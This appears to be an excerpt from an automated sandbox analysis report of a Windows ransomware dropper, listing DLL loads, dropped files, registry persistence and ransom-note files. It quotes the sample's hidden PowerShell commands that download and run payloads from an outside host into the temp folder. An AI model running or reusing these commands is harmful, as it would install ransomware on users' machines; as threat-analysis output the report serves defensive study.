Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: mrmcorer.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: textshaping.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: efswrt.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: oleacc.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Google Drive.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe

File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: Z:\scvhost\Release\scvhost.pdb source: eryy65ty.exe, 00000022.00000000.1645551347.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 00000029.00000000.1829617145.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 0000002E.00000000.1911486180.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe.31.dr
Source:	Binary string: Z:\lderd\Release\lderd.pdb source: fjeljies.cpl.16.dr
Source:	Binary string: Z:\scvhost\Release\scvhost.pdbd source: eryy65ty.exe, 00000022.00000000.1645551347.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 00000029.00000000.1829617145.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 0000002E.00000000.1911486180.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe.31.dr

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("cmd /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0", "0", "true");IWshShell3.Run("cmd /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0", "0", "true");IWshShell3.Run("cmd /c powershell -inputformat none -outputformat none -NonInteractive -Co", "0", "true");IWshShell3.Run("cmd /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0", "0", "true");IWshShell3.Run("cmd /c powershell -inputformat none -outputformat none -NonInteractive -Co", "0", "true");IWshShell3.Run("cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.", "0", "true");IWshShell3.Run("cmd /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0", "0", "true");IWshShell3.Run("cmd /c powershell -inputformat none -outputformat none -NonInteractive -Co", "0", "true");IWshShell3.Run("cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.", "0", "true");IWshShell3.Run("cmd /c control %temp%/fjeljies.cpl", "0", "true")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\fjeljies.cpl			Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 595
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\fjeljies.cpl	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 595	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Decryptfiles.txt

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XPSUDTARW
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XPSUDTARW

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\SoftwareClient Private

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
